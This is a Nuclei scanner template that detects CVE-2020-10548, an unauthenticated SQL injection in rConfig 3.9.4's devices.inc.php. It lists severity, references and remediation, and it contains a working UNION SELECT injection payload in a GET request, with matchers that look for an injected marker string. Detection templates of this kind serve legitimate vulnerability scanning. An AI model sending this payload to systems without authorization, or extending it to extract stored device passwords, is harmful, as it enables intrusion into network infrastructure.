id: CVE-2020-10548

info:
  name: rConfig 3.9.4 - SQL Injection
  author: madrobot
  severity: critical
  description: rConfig 3.9.4 and previous versions have unauthenticated devices.inc.php SQL injection. Because nodes' passwords are stored in cleartext by default, this vulnerability leads to lateral movement, granting an attacker access to monitored network devices.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation.
  remediation: |
    Upgrade to a patched version of rConfig or apply the necessary security patches provided by the vendor.
  reference:
    - https://github.com/theguly/exploits/blob/master/CVE-2020-10548.py
    - https://theguly.github.io/2020/09/rconfig-3.9.4-multiple-vulnerabilities/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-10548
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-10548
    cwe-id: CWE-89
    epss-score: 0.45422
    epss-percentile: 0.97076
    cpe: cpe:2.3:a:rconfig:rconfig:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rconfig
    product: rconfig
  tags: cve,cve2020,rconfig,sqli

http:
  - method: GET
    path:
      - "{{BaseURL}}/devices.inc.php?search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL+--+&searchColumn=n.id&searchOption=contains"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "[project-discovery]"

      - type: status
        status:
          - 200
# digest: 490a00463044022055fc4632dd41c5e64c90729f9708620798ef470a177c2de8b90cefce68aa19a30220574843c0664ddd38b5c38bfd98c309a3fbc923d08bb55d7125d92e05042e47aa:922c64590222798bb761d5b6d8e72950